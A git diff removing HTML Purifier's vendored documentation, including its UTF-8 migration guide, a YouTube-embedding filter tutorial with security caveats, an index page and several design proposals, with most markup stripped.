    While we're on the tack of users, how do non-UTF-8 web forms deal -with characters that are outside of their character set? Rather than -discuss what UTF-8 does right, we're going to show what could go wrong -if you didn't use UTF-8 and people tried to use characters outside -of your character encoding.

    - -

    The troubles are large, extensive, and extremely difficult to fix (or, -at least, difficult enough that if you had the time and resources to invest -in doing the fix, you would be probably better off migrating to UTF-8). -There are two types of form submission: application/x-www-form-urlencoded -which is used for GET and by default for POST, and multipart/form-data -which may be used by POST, and is required when you want to upload -files.

    - -

    The following is a summarization of notes from - -FORM submission and i18n. That document contains lots -of useful information, but is written in a rambly manner, so -here I try to get right to the point. (Note: the original has -disappeared off the web, so I am linking to the Web Archive copy.)

    - -

    application/x-www-form-urlencoded

    - -

    This is the Content-Type that GET requests must use, and POST requests -use by default. It involves the ubiquitous percent encoding format that -looks something like: %C3%86. There is no official way of -determining the character encoding of such a request, since the percent -encoding operates on a byte level, so it is usually assumed that it -is the same as the encoding the page containing the form was submitted -in. (RFC 3986 -recommends that textual identifiers be translated to UTF-8; however, browser -compliance is spotty.) You'll run into very few problems -if you only use characters in the character encoding you chose.

    - -

    However, once you start adding characters outside of your encoding -(and this is a lot more common than you may think: take curly -"smart" quotes from Microsoft as an example), -a whole manner of strange things start to happen. Depending on the -browser you're using, they might:

    - -
      -
    • Replace the unsupported characters with useless question marks,
    • -
    • Attempt to fix the characters (example: smart quotes to regular quotes),
    • -
    • Replace the character with a character entity reference, or
    • -
    • Send it anyway as a different character encoding mixed in - with the original encoding (usually Windows-1252 rather than - iso-8859-1 or UTF-8 interspersed in 8-bit)
    • -
    - -

    To properly guard against these behaviors, you'd have to sniff out -the browser agent, compile a database of different behaviors, and -take appropriate conversion action against the string (disregarding -a spate of extremely mysterious, random and devastating bugs Internet -Explorer manifests every once in a while). Or you could -use UTF-8 and rest easy knowing that none of this could possibly happen -since UTF-8 supports every character.

    - -

    multipart/form-data

    - -

    Multipart form submission takes away a lot of the ambiguity -that percent-encoding had: the server now can explicitly ask for -certain encodings, and the client can explicitly tell the server -during the form submission what encoding the fields are in.

    - -

    There are two ways you go with this functionality: leave it -unset and have the browser send in the same encoding as the page, -or set it to UTF-8 and then do another conversion server-side. -Each method has deficiencies, especially the former.

    - -

    If you tell the browser to send the form in the same encoding as -the page, you still have the trouble of what to do with characters -that are outside of the character encoding's range. The behavior, once -again, varies: Firefox 2.0 converts them to character entity references -while Internet Explorer 7.0 mangles them beyond intelligibility. For -serious internationalization purposes, this is not an option.

    - -

    The other possibility is to set Accept-Encoding to UTF-8, which -begs the question: Why aren't you using UTF-8 for everything then? -This route is more palatable, but there's a notable caveat: your data -will come in as UTF-8, so you will have to explicitly convert it into -your favored local character encoding.

    - -

    I object to this approach on idealogical grounds: you're -digging yourself deeper into -the hole when you could have been converting to UTF-8 -instead. And, of course, you can't use this method for GET requests.

    - -

    Well supported

    - -

    Almost every modern browser in the wild today has full UTF-8 and Unicode -support: the number of troublesome cases can be counted with the -fingers of one hand, and these browsers usually have trouble with -other character encodings too. Problems users usually encounter stem -from the lack of appropriate fonts to display the characters (once -again, this applies to all character encodings and HTML entities) or -Internet Explorer's lack of intelligent font picking (which can be -worked around).

    - -

    We will go into more detail about how to deal with edge cases in -the browser world in the Migration section, but rest assured that -converting to UTF-8, if done correctly, will not result in users -hounding you about broken pages.

    - -

    HTML Purifier

    - -

    And finally, we get to HTML Purifier. HTML Purifier is built to -deal with UTF-8: any indications otherwise are the result of an -encoder that converts text from your preferred encoding to UTF-8, and -back again. HTML Purifier never touches anything else, and leaves -it up to the module iconv to do the dirty work.

    - -

    This approach, however, is not perfect. iconv is blithely unaware -of HTML character entities. HTML Purifier, in order to -protect against sophisticated escaping schemes, normalizes all character -and numeric entity references before processing the text. This leads to -one important ramification:

    - -

    Any character that is not supported by the target character -set, regardless of whether or not it is in the form of a character -entity reference or a raw character, will be silently ignored.

    - -

    Example of this principle at work: say you have &theta; -in your HTML, but the output is in Latin-1 (which, understandably, -does not understand Greek), the following process will occur (assuming you've -set the encoding correctly using %Core.Encoding):

    - -
      -
    • The Encoder will transform the text from ISO 8859-1 to UTF-8 - (note that theta is preserved here since it doesn't actually use - any non-ASCII characters): &theta;
    • -
    • The EntityParser will transform all named and numeric - character entities to their corresponding raw UTF-8 equivalents: - θ
    • -
    • HTML Purifier processes the code: θ
    • -
    • The Encoder now transforms the text back from UTF-8 - to ISO 8859-1. Since Greek is not supported by ISO 8859-1, it - will be either ignored or replaced with a question mark: - ?
    • -
    - -

    This behaviour is quite unsatisfactory. It is a deal-breaker for -international applications, and it can be mildly annoying for the provincial -soul who occasionally needs a special character. Since 1.4.0, HTML -Purifier has provided a slightly more palatable workaround using -%Core.EscapeNonASCIICharacters. The process now looks like:

    - -
      -
    • The Encoder transforms encoding to UTF-8: &theta;
    • -
    • The EntityParser transforms entities: θ
    • -
    • HTML Purifier processes the code: θ
    • -
    • The Encoder replaces all non-ASCII characters - with numeric entity reference: &#952;
    • -
    • For good measure, Encoder transforms encoding back to - original (which is strictly unnecessary for 99% of encodings - out there): &#952; (remember, it's all ASCII!)
    • -
    - -

    ...which means that this is only good for an occasional foray into -the land of Unicode characters, and is totally unacceptable for Chinese -or Japanese texts. The even bigger kicker is that, supposing the -input encoding was actually ISO-8859-7, which does support -theta, the character would get converted into a character entity reference -anyway! (The Encoder does not discriminate).

    - -

    The current functionality is about where HTML Purifier will be for -the rest of eternity. HTML Purifier could attempt to preserve the original -form of the character references so that they could be substituted back in, only the -DOM extension kills them off irreversibly. HTML Purifier could also attempt -to be smart and only convert non-ASCII characters that weren't supported -by the target encoding, but that would require reimplementing iconv -with HTML awareness, something I will not do.

    - -

    So there: either it's UTF-8 or crippled international support. Your pick! (and I'm -not being sarcastic here: some people could care less about other languages).

    - -

    Migrate to UTF-8

    - -

    So, you've decided to bite the bullet, and want to migrate to UTF-8. -Note that this is not for the faint-hearted, and you should expect -the process to take longer than you think it will take.

    - -

    The general idea is that you convert all existing text to UTF-8, -and then you set all the headers and META tags we discussed earlier -to UTF-8. There are many ways going about doing this: you could -write a conversion script that runs through the database and re-encodes -everything as UTF-8 or you could do the conversion on the fly when someone -reads the page. The details depend on your system, but I will cover -some of the more subtle points of migration that may trip you up.

    - -

    Configuring your database

    - -

    Most modern databases, the most prominent open-source ones being MySQL -4.1+ and PostgreSQL, support character encodings. If you're switching -to UTF-8, logically speaking, you'd want to make sure your database -knows about the change too. There are some caveats though:

    - -

    Legit method

    - -

    Standardization in terms of SQL syntax for specifying character -encodings is notoriously spotty. Refer to your respective database's -documentation on how to do this properly.

    - -

    For MySQL, ALTER will magically perform the -character encoding conversion for you. However, you have -to make sure that the text inside the column is what is says it is: -if you had put Shift-JIS in an ISO 8859-1 column, MySQL will irreversibly mangle -the text when you try to convert it to UTF-8. You'll have to convert -it to a binary field, convert it to a Shift-JIS field (the real encoding), -and then finally to UTF-8. Many a website had pages irreversibly mangled -because they didn't realize that they'd been deluding themselves about -the character encoding all along; don't become the next victim.

    - -

    For PostgreSQL, there appears to be no direct way to change the -encoding of a database (as of 8.2). You will have to dump the data, and then reimport -it into a new table. Make sure that your client encoding is set properly: -this is how PostgreSQL knows to perform an encoding conversion.

    - -

    Many times, you will be also asked about the "collation" of -the new column. Collation is how a DBMS sorts text, like ordering -B, C and A into A, B and C (the problem gets surprisingly complicated -when you get to languages like Thai and Japanese). If in doubt, -going with the default setting is usually a safe bet.

    - -

    Once the conversion is all said and done, you still have to remember -to set the client encoding (your encoding) properly on each database -connection using SET NAMES (which is standard SQL and is -usually supported).

    - -

    Binary

    - -

    Due to the aforementioned compatibility issues, a more interoperable -way of storing UTF-8 text is to stuff it in a binary datatype. -CHAR becomes BINARY, VARCHAR becomes -VARBINARY and TEXT becomes BLOB. -Doing so can save you some huge headaches:

    - -
      -
    • The syntax for binary data types is very portable,
    • -
    • MySQL 4.0 has no support for character encodings, so - if you want to support it you have to use binary,
    • -
    • MySQL, as of 5.1, has no support for four byte UTF-8 characters, - which represent characters beyond the basic multilingual - plane, and
    • -
    • You will never have to worry about your DBMS being too smart - and attempting to convert your text when you don't want it to.
    • -
    - -

    MediaWiki, a very prominent international application, uses binary fields -for storing their data because of point three.

    - -

    There are drawbacks, of course:

    - -
      -
    • Database tools like PHPMyAdmin won't be able to offer you inline - text editing, since it is declared as binary,
    • -
    • It's not semantically correct: it's really text not binary - (lying to the database),
    • -
    • Unless you use the not-very-portable wizardry mentioned above, - you have to change the encoding yourself (usually, you'd do - it on the fly), and
    • -
    • You will not have collation.
    • -
    - -

    Choose based on your circumstances.

    - -

    Text editor

    - -

    For more flat-file oriented systems, you will often be tasked with -converting reams of existing text and HTML files into UTF-8, as well as -making sure that all new files uploaded are properly encoded. Once again, -I can only point vaguely in the right direction for converting your -existing files: make sure you backup, make sure you use -iconv(), and -make sure you know what the original character encoding of the files -is (or are, depending on the tidiness of your system).

    - -

    However, I can proffer more specific advice on the subject of -text editors. Many text editors have notoriously spotty Unicode support. -To find out how your editor is doing, you can check out this list -or Wikipedia's list. -I personally use Notepad++, which works like a charm when it comes to UTF-8. -Usually, you will have to explicitly tell the editor through some dialogue -(usually Save as or Format) what encoding you want it to use. An editor -will often offer "Unicode" as a method of saving, which is -ambiguous. Make sure you know whether or not they really mean UTF-8 -or UTF-16 (which is another flavor of Unicode).

    - -

    The two things to look out for are whether or not the editor -supports font mixing (multiple -fonts in one document) and whether or not it adds a BOM. -Font mixing is important because fonts rarely have support for every -language known to mankind: in order to be flexible, an editor must -be able to take a little from here and a little from there, otherwise -all your Chinese characters will come as nice boxes. We'll discuss -BOM below.

    - -

    Byte Order Mark (headers already sent!)

    - -

    The BOM, or Byte -Order Mark, is a magical, invisible character placed at -the beginning of UTF-8 files to tell people what the encoding is and -what the endianness of the text is. It is also unnecessary.

    - -

    Because it's invisible, it often -catches people by surprise when it starts doing things it shouldn't -be doing. For example, this PHP file:

    - -
    BOM<?php
    -header('Location: index.php');
    -?>
    - -

    ...will fail with the all too familiar Headers already sent -PHP error. And because the BOM is invisible, this culprit will go unnoticed. -My suggestion is to only use ASCII in PHP pages, but if you must, make -sure the page is saved WITHOUT the BOM.

    - -
    -

    The headers the error is referring to are HTTP headers, - which are sent to the browser before any HTML to tell it various - information. The moment any regular text (and yes, a BOM counts as - ordinary text) is output, the headers must be sent, and you are - not allowed to send anymore. Thus, the error.

    -
    - -

    If you are reading in text files to insert into the middle of another -page, it is strongly advised (but not strictly necessary) that you replace out the UTF-8 byte -sequence for BOM "\xEF\xBB\xBF" before inserting it in, -via:

    - -
    $text = str_replace("\xEF\xBB\xBF", '', $text);
    - -

    Fonts

    - -

    Generally speaking, people who are having trouble with fonts fall -into two categories:

    - -
      -
    • Those who want to -use an extremely obscure language for which there is very little -support even among native speakers of the language, and
    • -
    • Those where the primary language of the text is -well-supported but there are occasional characters -that aren't supported.
    • -
    - -

    Yes, there's always a chance where an English user happens across -a Sinhalese website and doesn't have the right font. But an English user -who happens not to have the right fonts probably has no business reading Sinhalese -anyway. So we'll deal with the other two edge cases.

    - -

    Obscure scripts

    - -

    If you run a Bengali website, you may get comments from users who -would like to read your website but get heaps of question marks or -other meaningless characters. Fixing this problem requires the -installation of a font or language pack which is often highly -dependent on what the language is. Here is an example -of such a help file for the Bengali language; I am sure there are -others out there too. You just have to point users to the appropriate -help file.

    - -

    Occasional use

    - -

    A prime example of when you'll see some very obscure Unicode -characters embedded in what otherwise would be very bland ASCII are -letters of the -International -Phonetic Alphabet (IPA), use to designate pronunciations in a very standard -manner (you probably see them all the time in your dictionary). Your -average font probably won't have support for all of the IPA characters -like ʘ (bilabial click) or ʒ (voiced postalveolar fricative). -So what's a poor browser to do? Font mix! Smart browsers like Mozilla Firefox -and Internet Explorer 7 will borrow glyphs from other fonts in order -to make sure that all the characters display properly.

    - -

    But what happens when the browser isn't smart and happens to be the -most widely used browser in the entire world? Microsoft IE 6 -is not smart enough to borrow from other fonts when a character isn't -present, so more often than not you'll be slapped with a nice big �. -To get things to work, MSIE 6 needs a little nudge. You could configure it -to use a different font to render the text, but you can achieve the same -effect by selectively changing the font for blocks of special characters -to known good Unicode fonts.

    - -

    Fortunately, the folks over at Wikipedia have already done all the -heavy lifting for you. Get the CSS from the horses mouth here: -Common.css, -and search for ".IPA" There are also a smattering of -other classes you can use for other purposes, check out -this page -for more details. For you lazy ones, this should work:

    - -
    .Unicode {
    -        font-family: Code2000, "TITUS Cyberbit Basic", "Doulos SIL",
    -            "Chrysanthi Unicode", "Bitstream Cyberbit",
    -            "Bitstream CyberBase", Thryomanes, Gentium, GentiumAlt,
    -            "Lucida Grande", "Arial Unicode MS", "Microsoft Sans Serif",
    -            "Lucida Sans Unicode";
    -        font-family /**/:inherit; /* resets fonts for everyone but IE6 */
    -}
    - -

    The standard usage goes along the lines of <span class="Unicode">Crazy -Unicode stuff here</span>. Characters in the -Windows Glyph List -usually don't need to be fixed, but for anything else you probably -want to play it safe. Unless, of course, you don't care about IE6 -users.

    - -

    Dealing with variable width in functions

    - -

    When people claim that PHP6 will solve all our Unicode problems, they're -misinformed. It will not fix any of the aforementioned troubles. It will, -however, fix the problem we are about to discuss: processing UTF-8 text -in PHP.

    - -

    PHP (as of PHP5) is blithely unaware of the existence of UTF-8 (with a few -notable exceptions). Sometimes, this will cause problems, other times, -this won't. So far, we've avoided discussing the architecture of -UTF-8, so, we must first ask, what is UTF-8? Yes, it supports Unicode, -and yes, it is variable width. Other traits:

    - -
      -
    • Every character's byte sequence is unique and will never be found - inside the byte sequence of another character,
    • -
    • UTF-8 may use up to four bytes to encode a character,
    • -
    • UTF-8 text must be checked for well-formedness,
    • -
    • Pure ASCII is also valid UTF-8, and
    • -
    • Binary sorting will sort UTF-8 in the same order as Unicode.
    • -
    - -

    Each of these traits affect different domains of text processing -in different ways. It is beyond the scope of this document to explain -what precisely these implications are. PHPWact provides -a very good reference document -on what to expect from each function, although coverage is spotty in -some areas. Their more general notes on -character sets -are also worth looking at for information on UTF-8. Some rules of thumb -when dealing with Unicode text:

    - -
      -
    • Do not EVER use functions that:
        -
      • ...convert case (strtolower, strtoupper, ucfirst, ucwords)
      • -
      • ...claim to be case-insensitive (str_ireplace, stristr, strcasecmp)
      • -
    • -
    • Think twice before using functions that:
        -
      • ...count characters (strlen will return bytes, not characters; - str_split and word_wrap may corrupt)
      • -
      • ...convert characters to entity references (UTF-8 doesn't need entities)
      • -
      • ...do very complex string processing (*printf)
      • -
    • -
    - -

    Note: this list applies to UTF-8 encoded text only: if you have -a string that you are 100% sure is ASCII, be my guest and use -strtolower (HTML Purifier uses this function.)

    - -

    Regardless, always think in bytes, not characters. If you use strpos() -to find the position of a character, it will be in bytes, but this -usually won't matter since substr() also operates with byte indices!

    - -

    You'll also need to make sure your UTF-8 is well-formed and will -probably need replacements for some of these functions. I recommend -using Harry Fuecks' PHP -UTF-8 library, rather than use mb_string directly. HTML Purifier -also defines a few useful UTF-8 compatible functions: check out -Encoder.php in the /library/HTMLPurifier/ -directory.

    - - - -

    Well, that's it. Hopefully this document has served as a very -practical springboard into knowledge of how UTF-8 works. You may have -decided that you don't want to migrate yet: that's fine, just know -what will happen to your output and what bug reports you may receive.

    - -

    Many other developers have already discussed the subject of Unicode, -UTF-8 and internationalization, and I would like to defer to them for -a more in-depth look into character sets and encodings.

    - - - - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/enduser-youtube.html b/vendor/ezyang/htmlpurifier/docs/enduser-youtube.html deleted file mode 100644 index f85a2c9d47..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/enduser-youtube.html +++ /dev/null @@ -1,153 +0,0 @@ - - - - - - - -Embedding YouTube Videos - HTML Purifier - - - -

    Embedding YouTube Videos

    -
    ...as well as other dangerous active content
    - -
    Filed under End-User
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Clients like their YouTube videos. It gives them a warm fuzzy feeling when -they see a neat little embedded video player on their websites that can play -the latest clips from their documentary "Fido and the Bones of Spring". -All joking aside, the ability to embed YouTube videos or other active -content in their pages is something that a lot of people like.

    - -

    This is a bad idea. The moment you embed anything untrusted, -you will definitely be slammed by a manner of nasties that can be -embedded in things from your run of the mill Flash movie to -Quicktime movies. -Even img tags, which HTML Purifier allows by default, can be -dangerous. Be distrustful of anything that tells a browser to load content -from another website automatically.

    - -

    Luckily for us, however, whitelisting saves the day. Sure, letting users -include any old random flash file could be dangerous, but if it's -from a specific website, it probably is okay. If no amount of pleading will -convince the people upstairs that they should just settle with just linking -to their movies, you may find this technique very useful.

    - -

    Looking in

    - -

    Below is custom code that allows users to embed -YouTube videos. This is not favoritism: this trick can easily be adapted for -other forms of embeddable content.

    - -

    Usually, websites like YouTube give us boilerplate code that you can insert -into your documents. YouTube's code goes like this:

    - -
    -<object width="425" height="350">
    -  <param name="movie" value="http://www.youtube.com/v/AyPzM5WK8ys" />
    -  <param name="wmode" value="transparent" />
    -  <embed src="http://www.youtube.com/v/AyPzM5WK8ys"
    -         type="application/x-shockwave-flash"
    -         wmode="transparent" width="425" height="350" />
    -</object>
    -
    - -

    There are two things to note about this code:

    - -
      -
    1. <embed> is not recognized by W3C, so if you want - standards-compliant code, you'll have to get rid of it.
    2. -
    3. The code is exactly the same for all instances, except for the - identifier AyPzM5WK8ys which tells us which movie file - to retrieve.
    4. -
    - -

    What point 2 means is that if we have code like <span -class="youtube-embed">AyPzM5WK8ys</span> your -application can reconstruct the full object from this small snippet that -passes through HTML Purifier unharmed. -Show me the code!

    - -

    And the corresponding usage:

    - -
    <?php
    -    $config->set('Filter.YouTube', true);
    -?>
    - -

    There is a bit going in the two code snippets, so let's explain.

    - -
      -
    1. This is a Filter object, which intercepts the HTML that is - coming into and out of the purifier. You can add as many - filter objects as you like. preFilter() - processes the code before it gets purified, and postFilter() - processes the code afterwards. So, we'll use preFilter() to - replace the object tag with a span, and postFilter() - to restore it.
    2. -
    3. The first preg_replace call replaces any YouTube code users may have - embedded into the benign span tag. Span is used because it is inline, - and objects are inline too. We are very careful to be extremely - restrictive on what goes inside the span tag, as if an errant code - gets in there it could get messy.
    4. -
    5. The HTML is then purified as usual.
    6. -
    7. Then, another preg_replace replaces the span tag with a fully fledged - object. Note that the embed is removed, and, in its place, a data - attribute was added to the object. This makes the tag standards - compliant! It also breaks Internet Explorer, so we add in a bit of - conditional comments with the old embed code to make it work again. - It's all quite convoluted but works.
    8. -
    - -

    Warning

    - -

    There are a number of possible problems with the code above, depending -on how you look at it.

    - -

    Cannot change width and height

    - -

    The width and height of the final YouTube movie cannot be adjusted. This -is because I am lazy. If you really insist on letting users change the size -of the movie, what you need to do is package up the attributes inside the -span tag (along with the movie ID). It gets complicated though: a malicious -user can specify an outrageously large height and width and attempt to crash -the user's operating system/browser. You need to either cap it by limiting -the amount of digits allowed in the regex or using a callback to check the -number.

    - -

    Trusts media's host's security

    - -

    By allowing this code onto our website, we are trusting that YouTube has -tech-savvy enough people not to allow their users to inject malicious -code into the Flash files. An exploit on YouTube means an exploit on your -site. Even though YouTube is run by the reputable Google, it -doesn't -mean they are -invulnerable. -You're putting a certain measure of the job on an external provider (just as -you have by entrusting your user input to HTML Purifier), and -it is important that you are cognizant of the risk.

    - -

    Poorly written adaptations compromise security

    - -

    This should go without saying, but if you're going to adapt this code -for Google Video or the like, make sure you do it right. It's -extremely easy to allow a character too many in postFilter() and -suddenly you're introducing XSS into HTML Purifier's XSS free output. HTML -Purifier may be well written, but it cannot guard against vulnerabilities -introduced after it has finished.

    - -

    Help out!

    - -

    If you write a filter for your favorite video destination (or anything -like that, for that matter), send it over and it might get included -with the core!

    - - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent deleted file mode 100644 index 7b7b407ee3..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/entities/xhtml-lat1.ent +++ /dev/null @@ -1,196 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent deleted file mode 100644 index 2ea205f31b..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/entities/xhtml-special.ent +++ /dev/null @@ -1,80 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent b/vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent deleted file mode 100644 index 3f8f8e646e..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/entities/xhtml-symbol.ent +++ /dev/null @@ -1,237 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/examples/basic.php b/vendor/ezyang/htmlpurifier/docs/examples/basic.php deleted file mode 100644 index 14a07b1295..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/examples/basic.php +++ /dev/null @@ -1,23 +0,0 @@ -set('Core.Encoding', 'UTF-8'); // replace with your encoding -$config->set('HTML.Doctype', 'XHTML 1.0 Transitional'); // replace with your doctype - -$purifier = new HTMLPurifier($config); - -// untrusted input HTML -$html = 'Simple and short'; - -$pure_html = $purifier->purify($html); - -echo '
    ' . htmlspecialchars($pure_html) . '
    '; - -// vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/fixquotes.htc b/vendor/ezyang/htmlpurifier/docs/fixquotes.htc deleted file mode 100644 index 22359dabee..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/fixquotes.htc +++ /dev/null @@ -1,9 +0,0 @@ - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/index.html b/vendor/ezyang/htmlpurifier/docs/index.html deleted file mode 100644 index 367fdedf9e..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/index.html +++ /dev/null @@ -1,188 +0,0 @@ - - - - - - - -Documentation - HTML Purifier - - - - -

    Documentation

    - -

    HTML Purifier has documentation for all types of people. -Here is an index of all of them.

    - -

    End-user

    -

    End-user documentation that contains articles, tutorials and useful -information for casual developers using HTML Purifier.

    - -
    - -
    IDs
    -
    Explains various methods for allowing IDs in documents safely.
    - -
    Embedding YouTube videos
    -
    Explains how to safely allow the embedding of flash from trusted sites.
    - -
    Speeding up HTML Purifier
    -
    Explains how to speed up HTML Purifier through caching or inbound filtering.
    - -
    UTF-8: The Secret of Character Encoding
    -
    Describes the rationale for using UTF-8, the ramifications otherwise, and how to make the switch.
    - -
    Tidy
    -
    Tutorial for tweaking HTML Purifier's Tidy-like behavior.
    - -
    Customize
    -
    Tutorial for customizing HTML Purifier's tag and attribute sets.
    - -
    URI Filters
    -
    Tutorial for creating custom URI filters.
    - -
    - -

    Development

    -

    Developer documentation detailing code issues, roadmaps and project -conventions.

    - -
    - -
    Implementation Progress
    -
    Tables detailing HTML element and CSS property implementation coverage.
    - -
    Naming Conventions
    -
    Defines class naming conventions.
    - -
    Optimization
    -
    Discusses possible methods of optimizing HTML Purifier.
    - -
    Flushing the Purifier
    -
    Discusses when to flush HTML Purifier's various caches.
    - -
    Advanced API
    -
    Specification for HTML Purifier's advanced API for defining -custom filtering behavior.
    - -
    Config Schema
    -
    Describes config schema framework in HTML Purifier.
    - -
    - -

    Proposals

    -

    Proposed features, as well as the associated rambling to get a clear -objective in place before attempted implementation.

    - -
    -
    Colors
    -
    Proposal to allow for color constraints.
    -
    - -

    Reference

    -

    Miscellaneous essays, research pieces and other reference type material -that may not directly discuss HTML Purifier.

    - -
    -
    DevNetwork Credits
    -
    Credits and links to DevNetwork forum topics.
    -
    - -

    Internal memos

    - -

    Plaintext documents that are more for use by active developers of -the code. They may be upgraded to HTML files or stay as TXT scratchpads.

    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    TypeNameDescription
    End-userOverviewHigh level overview of the general control flow (mostly obsolete).
    End-userSecurityCommon security issues that may still arise (half-baked).
    DevelopmentConfig BC BreaksBackwards-incompatible changes in HTML Purifier 4.0.0
    DevelopmentCode Quality IssuesEnumerates code quality issues and places that need to be refactored.
    ProposalFilter levelsOutlines details of projected configurable level of filtering.
    ProposalLanguageSpecification of I18N for error messages derived from MediaWiki (half-baked).
    ProposalNew directivesAssorted configuration options that could be implemented.
    ProposalCSS extractionTaking the inline CSS out of documents and into style.
    ReferenceHandling Content Model ChangesDiscusses how to tidy up content model changes using custom ChildDef classes.
    ReferenceProprietary tagsList of vendor-specific tags we may want to transform to W3C compliant markup.
    ReferenceModularization of HTMLDefinitionProvides a high-level overview of the concepts behind HTMLModules.
    ReferenceWHATWGHow WHATWG plays into what we need to do.
    - - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-colors.html b/vendor/ezyang/htmlpurifier/docs/proposal-colors.html deleted file mode 100644 index 647d3b8ca9..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/proposal-colors.html +++ /dev/null @@ -1,49 +0,0 @@ - - - - - - - -Proposal: Colors - HTML Purifier - - - -

    Colors

    -
    Hammering some sense into those color-blind newbies
    - -
    Filed under Proposals
    -
    Return to the index.
    -
    HTML Purifier End-User Documentation
    - -

    Your website probably has a color-scheme. -Green on white, -purple on yellow, -whatever. When you give users the ability to style their content, you may -want them to keep in line with your styling. If you're website is all -about light colors, you don't want a user to come in and vandalize your -page with a deep maroon.

    - -

    This is an extremely silly feature proposal, but I'm writing it down anyway.

    - -

    What if the user could constrain the colors specified in inline styles? You -are only allowed to use these shades of dark green for text and these shades -of light yellow for the background. At the very least, you could ensure -that we did not have pale yellow on white text.

    - -

    Implementation issues

    - -
      -
    1. Requires the color attribute definition to know, currently, what the text -and background colors are. This becomes difficult when classes are thrown -into the mix.
    2. -
    3. The user still has to define the permissible colors, how does one do -something like that?
    4. -
    - - - - - diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-config.txt b/vendor/ezyang/htmlpurifier/docs/proposal-config.txt deleted file mode 100644 index 0555981b7a..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/proposal-config.txt +++ /dev/null @@ -1,23 +0,0 @@ - -Configuration - -Configuration is documented on a per-use case: if a class uses a certain -value from the configuration object, it has to define its name and what the -value is used for. This means decentralized configuration declarations that -are nevertheless error checking and a centralized configuration object. - -Directives are divided into namespaces, indicating the major portion of -functionality they cover (although there may be overlaps). Please consult -the documentation in ConfigDef for more information on these namespaces. - -Since configuration is dependant on context, internal classes require a -configuration object to be passed as a parameter. (They also require a -Context object). A majority of classes do not need the config object, -but for those who do, it is a lifesaver. - -Definition objects are complex datatypes influenced by their respective -directive namespaces (HTMLDefinition with HTML and CSSDefinition with CSS). -If any of these directives is updated, HTML Purifier forces the definition -to be regenerated. - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt b/vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt deleted file mode 100644 index 0cda7db867..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/proposal-css-extraction.txt +++ /dev/null @@ -1,34 +0,0 @@ - -Extracting inline CSS from HTML Purifier - voodoofied: Assigning semantics to elements - -Sander Tekelenburg brought to my attention the poor programming style of -inline CSS in HTML documents. In an ideal world, we wouldn't be using inline -CSS at all: everything would be assigned using semantic class attributes -from an external stylesheet. - -With ExtractStyleBlocks and CSSTidy, this is now possible (when allowed, users -can specify a style element which gets extracted from the user-submitted HTML, which -the application can place in the head of the HTML document). But there still -is the issue of inline CSS that refuses to go away. - -The basic idea behind this feature is assign every element a unique identifier, -and then move all of the CSS data to a style-sheet. This HTML: - -
    Big things!
    - -into - -
    Big things!
    - -and a stylesheet that is: - -#hp-12345 {text-align:center;} -#hp-12346 {color:red;} - -Beyond that, HTML Purifier can magically merge common CSS values together, -and a whole manner of other heuristic things. HTML Purifier should also -make it easy for an admin to re-style the HTML semantically. Speed is not -an issue. Also, better WYSIWYG editors are needed. - - vim: et sw=4 sts=4 diff --git a/vendor/ezyang/htmlpurifier/docs/proposal-errors.txt b/vendor/ezyang/htmlpurifier/docs/proposal-errors.txt deleted file mode 100644 index 4614466594..0000000000 --- a/vendor/ezyang/htmlpurifier/docs/proposal-errors.txt +++ /dev/null @@ -1,211 +0,0 @@ -Considerations for ErrorCollection - -Presently, HTML Purifier takes a code-execution centric approach to handling -errors. Errors are organized and grouped according to which segment of the -code triggers them, not necessarily the portion of the input document that -triggered the error. This means that errors are pseudo-sorted by category, -rather than location in the document. - -One easy way to "fix" this problem would be to re-sort according to line number. -However, the "category" style information we derive from naively following -program execution is still useful. After all, each of the strategies which -can report errors still process the document mostly linearly. Furthermore, -not only do they process linearly, but the way they pass off operations to -sub-systems mirrors that of the document. For example, AttrValidator will -linearly proceed through elements, and on each element will use AttrDef to -validate those contents. From there, the attribute might have more -sub-components, which have execution passed off accordingly. - -In fact, each strategy handles a very specific class of "error." - -RemoveForeignElements - element tokens -MakeWellFormed - element token ordering -FixNesting - element token ordering -ValidateAttributes - attributes of elements - -The crucial point is that while we care about the hierarchy governing these -different errors, we *don't* care about any other information about what actually -happens to the elements. This brings up another point: if HTML Purifier fixes -something, this is not really a notice/warning/error; it's really a suggestion -of a way to fix the aforementioned defects. 